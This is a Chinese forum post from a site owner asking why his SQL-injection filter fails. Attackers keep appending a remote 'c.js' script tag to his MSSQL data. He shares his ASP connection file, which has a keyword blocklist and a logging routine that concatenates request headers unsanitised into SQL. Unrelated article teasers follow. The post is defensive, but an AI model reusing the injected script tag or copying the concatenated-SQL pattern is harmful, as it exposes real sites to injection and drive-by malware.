急问关于老掉牙的SQL注入的问题, 偶遇到高手了,一般用来防止SQL注入的方法不起作用;急急急....
www.cfaeo.com
数据库为: MSSQL2005
起先是用自己的服务器,安装的WIN2003系统;其实数据量也不是很大;总被人家修改,每次在数据表字段尾部添加:<script src=http://3b3.org/c.js></script>
而后我将打开数据库连接的文件,conn.ASP文件添加了防注入的过虑;不行还是会被改;
网站提示到的;防止大小写;GET;POST等过虑我都做过了;结果不行,我怕是人家在服务器里留了木马之类的什么,怕自己对服务器安全做的不够;就将网站整个移至万网空间了;在万网上租用空间及数据库;相信人家的服务器安全一定做到最后;也不会有木马之类的东西;可是结果还是一样;可以很随意的在我的数据库后面添加那段JS代码;
现在我无语了;
特来请江湖救急
我将我的程序代码附上;请下虾们帮忙...
conn.asp
<%
Server.ScriptTimeOut=3600
dim conn,con_string
con_string = "provider=sqloledb;driver={SQL server};server=dsc-04.hichina.com;uid=******;pwd=*******;database=dsc040056_db"
set conn=server.createobject("adodb.connection")
conn.open con_string
'创建日志记录
'ip记录
if Request.ServerVariables("HTTP_X_FORWARDED_FOR")=empty then
remoteaddr=Request.ServerVariables("REMOTE_ADDR")
else
remoteaddr=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
end if
sub log(message)
conn.Execute("insert into log (username,ip,windows,remark) values ('"&session("admin_name")&"','"&remoteaddr&"','"&Request.Servervariables("HTTP_USER_AGENT")&"','"&message&"')")
end sub
'***********************************************
'过程函数名:sqlcheck
'作 用:自己写一个防止SQL注入
'参 数:Str
'返回值:Str
'***********************************************
'ascii 表示
'chr(37) 过滤SQL注入%
'chr(39) 过滤SQL注入'
'chr(43) 过滤SQL注入+
'chr(60) 过滤SQL注入<
'chr(61) 过滤SQL注入>
SQL_injdata="and|exec|insert|select|delete|update|count|set|(|)|*|'|%|+|>|<|chr|mid|master|truncate|char|declare|xp_|sp_|0x|%20|chr(37)|chr(39)|chr(43)|chr(60)|chr(62)"
sql_inj=split(SQL_injdata,"|")
if request.form<>"" then
for each sql_post in request.form
for sql_date=0 to Ubound(sql_inj)
if instr(LCase(request.form(sql_post)),sql_inj(sql_date))>0 then
Response.write("<script language=javascript>alert('系统添加防止SQL注入!请不要尝试!\n"&sql_inj(sql_date)&"\n您的信息我们已录下来\n您的IP:"&Request.ServerVariables("REMOTE_ADDR")&" 时间为:"&now()&"\n请求方法为:"&Request.ServerVariables("Request_Method") &"\n端口号为:"&Request.ServerVariables("Server_Port") &"');</script>")
log("不合法字符"&sql_inj(sql_date)&" <br>请求方法为:"&Request.ServerVariables("Request_Method") &"\n端口号为:"&Request.ServerVariables("Server_Port") &"页面为<BR>"&Request.ServerVariables("script_name")&"<br>"&Request.ServerVariables("Query_String")&"<br>"&Request.form&"")
response.End
end if
next
next
end if
If Request.QueryString<>"" Then
for each sql_get in request.QueryString
For sql_date=0 To Ubound(sql_inj)
if instr(LCase(request.QueryString(sql_get)),sql_inj(sql_date))>0 then
Response.write("<script language=javascript>alert('系统添加防止SQL注入!请不要尝试!\n"&sql_inj(sql_date)&"\n您的信息我们已录下来\n您的IP:"&Request.ServerVariables("REMOTE_ADDR")&" 时间为:"&now()&"\n请求方法为:"&Request.ServerVariables("Request_Method") &"\n端口号为:"&Request.ServerVariables("Server_Port") &"');</script>")
log("不合法字符"&sql_inj(sql_date)&" <br>请求方法为:"&Request.ServerVariables("Request_Method") &"\n端口号为:"&Request.ServerVariables("Server_Port") &"页面为<BR>"&Request.ServerVariables("script_name")&"<br>"&Request.ServerVariables("Query_String")&"<br>"&Request.form&"")
response.End ()
end if
next
next
end if
%>
相关推荐
mybatis是如何防止sql注入的
Java基础教程系列,打造精品专栏。
【Python编程】Python安全编程与常见漏洞防护
内容概要:本文深入剖析Python应用的安全风险与防护策略,重点对比SQL注入、命令注入、反序列化漏洞、路径遍历等常见攻击面的防御方案。文章从输入验证原则出发,详解参数化查询(parameterized query)对SQL注入的防御机制、subprocess模块的shell=True风险与参数列表传递、以及pickle/ast.literal_eval的安全替代方案。通过代码示例展示密码哈希(bcrypt/argon2)的盐值与迭代策略、JWT令牌的签名验证与过期控制、以及CORS跨域配置的白名单限制,同时介绍bandit静态安全扫描的规则配置、OWASP Python安全编码规范、以及依赖漏洞(CVE)的自动化检测(safety/pip-audit),最后给出在Web应用、数据处理、云原生部署等场景下的安全纵深防御体系与最小权限原则实践。 migu.blsxex.hxjlj.org.cn www.huike-auto.com m.huiyimofang.com hx-whg.com www.huaxiazhenhui.com
新型电力系统下PI-LSTM物理信息长短期记忆神经网络的电力变压器状态评估方法(Matlab代码实现)
内容概要:本文提出了一种基于物理信息长短期记忆神经网络(PI-LSTM)的电力变压器状态评估方法,旨在适应新型电力系统对设备状态精准评估的需求。该方法将物理规律作为先验知识融入LSTM网络,通过构建包含变压器热力学、电气特性等物理约束的损失函数,提升模型在数据稀疏或噪声干扰下的泛化能力与解释性。利用Matlab实现了PI-LSTM模型的搭建、训练与验证,通过实际案例对比传统LSTM与PI-LSTM在状态参数预测精度、趋势拟合度及异常检测敏感性方面的表现,证明了所提方法的有效性和优越性,为变压器等关键电力设备的智能运维提供了新的技术路径。; 适合人群:从事电力系统、智能电网、设备状态监测与故障诊断研究的科研人员、工程技术人员及高校研究生。; 使用场景及目标:①应用于新型电力系统中电力变压器的健康状态评估与预测性维护;②为掌握物理信息神经网络(PINN)在电力系统中的融合应用提供Matlab实践范例; 阅读建议:建议读者结合Matlab代码深入理解PI-LSTM的网络结构设计、物理约束项的数学表达与代码实现细节,并尝试在不同工况数据集上复现和测试,以充分掌握其在提高模型物理一致性与预测可靠性方面的核心优势。
硕士复现燃料电池供氢系统建模及控制策略Simulink仿真(附带说明PPT+参考文献+复现模型+实物源码)
内容概要:本资源聚焦于燃料电池供氢系统的建模与控制策略研究,通过Simulink仿真平台实现系统动态行为的精确模拟与控制算法的验证。内容涵盖供氢系统的关键部件建模,如氢气供应管路、压力调节阀、储氢罐及燃料电池堆等,并针对系统响应滞后、压力波动等问题,设计并实现了先进的控制策略,例如基于反馈与前馈的复合控制、PID控制或模型预测控制(MPC),以确保氢气供给的稳定性与效率。配套提供的说明PPT详细阐述了建模思路与控制逻辑,参考文献为研究提供了理论支撑,而完整的复现模型与实物源码则极大地方便了学习者进行仿真复现与二次开发。; 适合人群:具备一定自动化、电气工程或能源动力系统背景,正在进行相关课题研究的研究生,以及从事氢能系统开发的工程技术人员。; 使用场景及目标:① 学习并掌握燃料电池供氢系统的工作原理与关键组件的数学建模方法;② 利用Simulink搭建复杂能源系统的仿真模型,并设计、调试与验证先进控制策略;③ 基于提供的完整资源包(PPT、模型、源码)进行科研复现,作为学位论文或学术研究的技术基础。; 阅读建议:学习者应结合说明PPT的理论讲解,逐步操作复现模型,重点关注控制模块的设计逻辑与参数整定过程。建议在理解现有模型的基础上,尝试修改工况参数或优化控制算法,以深化对系统动态特性的认识,从而将本资源作为开展自主创新研究的有效跳板。
LangGraph中的超时控制与取消执行
内容概要:讲解如何为LangGraph图执行设置整体超时和单节点超时,利用asyncio.timeout或同步超时装饰器。展示如何从外部取消正在运行的图(如用户中止)。通过长时间任务示例,说明优雅取消与资源释放。讨论超时后检查点状态的处理。 www.cdjmyk.com www.conghualvyou.com www.cits03.com ligue1.chunxinglong.com chn-shhgvalve.com


